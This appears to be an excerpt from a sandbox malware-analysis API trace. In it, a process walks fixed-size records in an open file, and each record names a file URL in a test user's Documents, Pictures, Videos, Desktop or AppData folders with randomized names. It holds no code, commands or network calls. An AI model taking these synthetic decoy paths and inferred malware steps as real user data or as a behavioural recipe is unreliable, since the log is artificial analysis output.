[0079.540] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/Ycm4MHs.mkv" | out: _Str="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv"
[0079.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned 47
[0079.540] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f00
[0079.540] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.540] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.540] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f00
[0079.541] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.541] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/DdDhzInI5bpuQ7.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx"
[0079.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned 68
[0079.541] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000
[0079.541] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.541] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.541] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000
[0079.541] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.541] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/VyyoBBl2SS.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif"
[0079.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned 83
[0079.541] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6100
[0079.541] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.541] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.541] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6100
[0079.541] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.541] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/NZCvImVKjtdcT.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp"
[0079.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned 70
[0079.542] SetFilePointer (in: hFile=0xa0, lDistanceToMove=25088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6200
[0079.542] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.542] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.542] SetFilePointer (in: hFile=0xa0, lDistanceToMove=25088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6200
[0079.542] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.542] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/9mOAD6.gif" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif"
[0079.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned 55
[0079.542] SetFilePointer (in: hFile=0xa0, lDistanceToMove=25344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6300
[0079.542] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.542] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.542] SetFilePointer (in: hFile=0xa0, lDistanceToMove=25344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6300
[0079.542] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.542] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Vfr7MWb/KYE9P798D.png" | out: _Str="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png"
[0079.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned 58
[0079.542] SetFilePointer (in: hFile=0xa0, lDistanceToMove=25600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6400
[0079.542] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.543] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.543] SetFilePointer (in: hFile=0xa0, lDistanceToMove=25600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6400
[0079.543] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.543] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/HVaZIbCRv6_Z.pps" | out: _Str="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps"
[0079.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned 55
[0079.543] SetFilePointer (in: hFile=0xa0, lDistanceToMove=25856, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6500
[0079.543] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.543] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.543] SetFilePointer (in: hFile=0xa0, lDistanceToMove=25856, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6500
[0079.543] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.543] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/ocvZc9iYiPVO8CnF.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx"
[0079.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned 60
[0079.543] SetFilePointer (in: hFile=0xa0, lDistanceToMove=26112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6600
[0079.543] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.543] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.544] SetFilePointer (in: hFile=0xa0, lDistanceToMove=26112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6600
[0079.544] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.544] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/IPTJr58c5o.png" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png"
[0079.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png") returned 67
[0079.544] SetFilePointer (in: hFile=0xa0, lDistanceToMove=26368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6700
[0079.544] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.544] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.544] SetFilePointer (in: hFile=0xa0, lDistanceToMove=26368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6700
[0079.544] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.544] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/h6QWuN0iE2g6emVH.pps" | out: _Str="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps") returned="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps"
[0079.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps") returned 59
[0079.544] SetFilePointer (in: hFile=0xa0, lDistanceToMove=26624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6800
[0079.544] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.544] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.544] SetFilePointer (in: hFile=0xa0, lDistanceToMove=26624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6800
[0079.544] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.544] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/7u7FB7eBK.swf" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf"
[0079.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf") returned 62
[0079.545] SetFilePointer (in: hFile=0xa0, lDistanceToMove=26880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6900
[0079.545] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.545] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.545] SetFilePointer (in: hFile=0xa0, lDistanceToMove=26880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6900
[0079.545] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.545] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/oNHdSBRjgNrMZx3MZ49l.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/onhdsbrjgnrmzx3mz49l.bmp") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/onhdsbrjgnrmzx3mz49l.bmp"
[0079.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/onhdsbrjgnrmzx3mz49l.bmp") returned 93
[0079.545] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a00
[0079.545] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.545] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.545] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a00
[0079.545] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.545] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/qsv5elm1q.png" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/qsv5elm1q.png") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/qsv5elm1q.png"
[0079.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/qsv5elm1q.png") returned 66
[0079.545] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27392, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b00
[0079.546] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.546] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.546] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27392, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b00
[0079.546] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.546] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/jOsIaZ/nbJTuf2IM6Kaee-b8aa.mkv" | out: _Str="file:///c:/users/atveydl98z/videos/josiaz/nbjtuf2im6kaee-b8aa.mkv") returned="file:///c:/users/atveydl98z/videos/josiaz/nbjtuf2im6kaee-b8aa.mkv"
[0079.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/josiaz/nbjtuf2im6kaee-b8aa.mkv") returned 66
[0079.546] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00
[0079.546] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.546] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.546] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00
[0079.546] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.546] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/1c5hjVXP_vir2AySS.ots" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots") returned="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots"
[0079.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots") returned 66
[0079.546] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d00
[0079.546] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.546] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.546] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d00
[0079.546] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.547] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/RxGmrbG_.ppt" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt"
[0079.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt") returned 61
[0079.547] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00
[0079.547] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.547] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.547] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00
[0079.547] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.547] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/3Adm.jpg" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg") returned="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg"
[0079.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg") returned 53
[0079.547] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f00
[0079.547] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.547] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.547] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f00
[0079.547] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.547] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/8cb1QU.gif" | out: _Str="file:///c:/users/atveydl98z/desktop/8cb1qu.gif") returned="file:///c:/users/atveydl98z/desktop/8cb1qu.gif"
[0079.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/8cb1qu.gif") returned 47
[0079.547] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7000
[0079.548] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.548] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.548] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7000
